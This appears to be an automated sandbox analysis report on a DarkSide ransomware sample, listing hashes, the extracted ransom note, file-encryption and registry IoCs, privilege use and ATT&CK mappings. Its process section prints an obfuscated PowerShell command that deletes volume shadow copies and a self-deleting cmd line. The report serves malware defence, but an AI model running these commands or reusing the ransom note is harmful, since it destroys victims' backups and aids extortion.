darkside | 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e

General

Target

794c5aa1_by_Libranalysis.exe
Size

5.9MB
MD5

794c5aa1b0e1f9cf2fc7fe5f22117c3f
SHA1

1821fe210298b1d22b25f1a544abcfe092999ff7
SHA256

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
SHA512

28c186359035e3f4bc5b4f0420c1e72de5e16fc3fa3b8d41316dd59739c552c810e180feff4637f25696f59b291b7cc00d66d969a4e7d2f460ec4471b1ad83cf

Score

10^/10

darkside ransomware spyware stealer vmprotect

Malware Config

Extracted

Path

C:\\README.7b336f65.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 14 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

794c5aa1_by_Libranalysis.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\ExpandGroup.tif => C:\Users\Admin\Pictures\ExpandGroup.tif.7b336f65	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\MountExport.tiff	794c5aa1_by_Libranalysis.exe
File renamed	C:\Users\Admin\Pictures\MountExport.tiff => C:\Users\Admin\Pictures\MountExport.tiff.7b336f65	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\MountExport.tiff.7b336f65	794c5aa1_by_Libranalysis.exe
File renamed	C:\Users\Admin\Pictures\RevokeDeny.crw => C:\Users\Admin\Pictures\RevokeDeny.crw.7b336f65	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\UnblockRestore.tif.7b336f65	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\OutCheckpoint.tiff	794c5aa1_by_Libranalysis.exe
File renamed	C:\Users\Admin\Pictures\OutCheckpoint.tiff => C:\Users\Admin\Pictures\OutCheckpoint.tiff.7b336f65	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\OutCheckpoint.tiff.7b336f65	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\RemoveConvertFrom.raw.7b336f65	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\RevokeDeny.crw.7b336f65	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\ExpandGroup.tif.7b336f65	794c5aa1_by_Libranalysis.exe
File renamed	C:\Users\Admin\Pictures\RemoveConvertFrom.raw => C:\Users\Admin\Pictures\RemoveConvertFrom.raw.7b336f65	794c5aa1_by_Libranalysis.exe
File renamed	C:\Users\Admin\Pictures\UnblockRestore.tif => C:\Users\Admin\Pictures\UnblockRestore.tif.7b336f65	794c5aa1_by_Libranalysis.exe

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral2/memory/3952-130-0x00000000011F0000-0x0000000001B98000-memory.dmp	vmprotect

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

794c5aa1_by_Libranalysis.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP"	794c5aa1_by_Libranalysis.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP"	794c5aa1_by_Libranalysis.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

Processes:

794c5aa1_by_Libranalysis.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10"	794c5aa1_by_Libranalysis.exe

Modifies registry class 5 IoCs

Processes:

794c5aa1_by_Libranalysis.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65	794c5aa1_by_Libranalysis.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65"	794c5aa1_by_Libranalysis.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon	794c5aa1_by_Libranalysis.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65	794c5aa1_by_Libranalysis.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico"	794c5aa1_by_Libranalysis.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

794c5aa1_by_Libranalysis.exepowershell.exe

pid	process
3952	794c5aa1_by_Libranalysis.exe
3952	794c5aa1_by_Libranalysis.exe
3952	794c5aa1_by_Libranalysis.exe
3952	794c5aa1_by_Libranalysis.exe
3768	powershell.exe
3768	powershell.exe
3768	powershell.exe
3952	794c5aa1_by_Libranalysis.exe
3952	794c5aa1_by_Libranalysis.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

794c5aa1_by_Libranalysis.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeSecurityPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeTakeOwnershipPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeLoadDriverPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeSystemProfilePrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeSystemtimePrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeProfSingleProcessPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeIncBasePriorityPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeCreatePagefilePrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeBackupPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeRestorePrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeShutdownPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeDebugPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeSystemEnvironmentPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeRemoteShutdownPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeUndockPrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: SeManageVolumePrivilege	3952	794c5aa1_by_Libranalysis.exe
Token: 33	3952	794c5aa1_by_Libranalysis.exe
Token: 34	3952	794c5aa1_by_Libranalysis.exe
Token: 35	3952	794c5aa1_by_Libranalysis.exe
Token: 36	3952	794c5aa1_by_Libranalysis.exe
Token: SeDebugPrivilege	3768	powershell.exe
Token: SeBackupPrivilege	2560	vssvc.exe
Token: SeRestorePrivilege	2560	vssvc.exe
Token: SeAuditPrivilege	2560	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

794c5aa1_by_Libranalysis.exe

description	pid	process	target process
PID 3952 wrote to memory of 3768	3952	794c5aa1_by_Libranalysis.exe	powershell.exe
PID 3952 wrote to memory of 3768	3952	794c5aa1_by_Libranalysis.exe	powershell.exe
PID 3952 wrote to memory of 4656	3952	794c5aa1_by_Libranalysis.exe	cmd.exe
PID 3952 wrote to memory of 4656	3952	794c5aa1_by_Libranalysis.exe	cmd.exe
PID 3952 wrote to memory of 4656	3952	794c5aa1_by_Libranalysis.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\794c5aa1_by_Libranalysis.exe
"C:\Users\Admin\AppData\Local\Temp\794c5aa1_by_Libranalysis.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3768

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\794C5A~1.EXE >> NUL
2⤵
PID:4656

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2560

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
ed6b50e95912897e67deb29dc968edb3

SHA1
c48ac01607506999ef3ae8244ad1c6ffed049ddf

SHA256
fca0ff214ce424201828ce89ccb5083418582bb0bd776a688c9ce6165dac5d86

SHA512
9b84a2f20fff73107e0c9ce271ac601dfe53db4b5732bd78412381d13e4b0e1706c6f72a9c329f1f26d1b0f4215516d73dda92c84fd5e7b87ff3686b26916f7f

Download Submit
memory/3768-132-0x0000000000000000-mapping.dmp

Download
memory/3768-154-0x00000256FEBA6000-0x00000256FEBA8000-memory.dmp

Filesize
8KB

Download
memory/3768-152-0x00000256FEBA3000-0x00000256FEBA5000-memory.dmp

Filesize
8KB

Download
memory/3768-150-0x00000256FEBA0000-0x00000256FEBA2000-memory.dmp

Filesize
8KB

Download
memory/3768-143-0x000002569A3B0000-0x000002569A3B1000-memory.dmp

Filesize
4KB

Download
memory/3768-138-0x000002569A200000-0x000002569A201000-memory.dmp

Filesize
4KB

Download
memory/3952-120-0x0000000000F20000-0x0000000000F21000-memory.dmp

Filesize
4KB

Download
memory/3952-122-0x0000000001050000-0x0000000001051000-memory.dmp

Filesize
4KB

Download
memory/3952-124-0x0000000001070000-0x0000000001071000-memory.dmp

Filesize
4KB

Download
memory/3952-125-0x0000000001080000-0x0000000001081000-memory.dmp

Filesize
4KB

Download
memory/3952-126-0x00000000010A0000-0x00000000010A1000-memory.dmp

Filesize
4KB

Download
memory/3952-127-0x00000000010B0000-0x00000000010B1000-memory.dmp

Filesize
4KB

Download
memory/3952-128-0x00000000010C0000-0x00000000010C1000-memory.dmp

Filesize
4KB

Download
memory/3952-129-0x00000000010D0000-0x00000000010D1000-memory.dmp

Filesize
4KB

Download
memory/3952-130-0x00000000011F0000-0x0000000001B98000-memory.dmp

Filesize
9.7MB

Download
memory/3952-123-0x0000000001060000-0x0000000001061000-memory.dmp

Filesize
4KB

Download
memory/3952-121-0x0000000000F30000-0x0000000000F31000-memory.dmp

Filesize
4KB

Download
memory/3952-114-0x00000000007E0000-0x00000000007E1000-memory.dmp

Filesize
4KB

Download
memory/3952-119-0x0000000000F10000-0x0000000000F11000-memory.dmp

Filesize
4KB

Download
memory/3952-118-0x0000000000E00000-0x0000000000E01000-memory.dmp

Filesize
4KB

Download
memory/3952-117-0x0000000000DF0000-0x0000000000DF1000-memory.dmp

Filesize
4KB

Download
memory/3952-116-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

Filesize
4KB

Download
memory/3952-115-0x00000000007F0000-0x00000000007F1000-memory.dmp

Filesize
4KB

Download
memory/4656-162-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads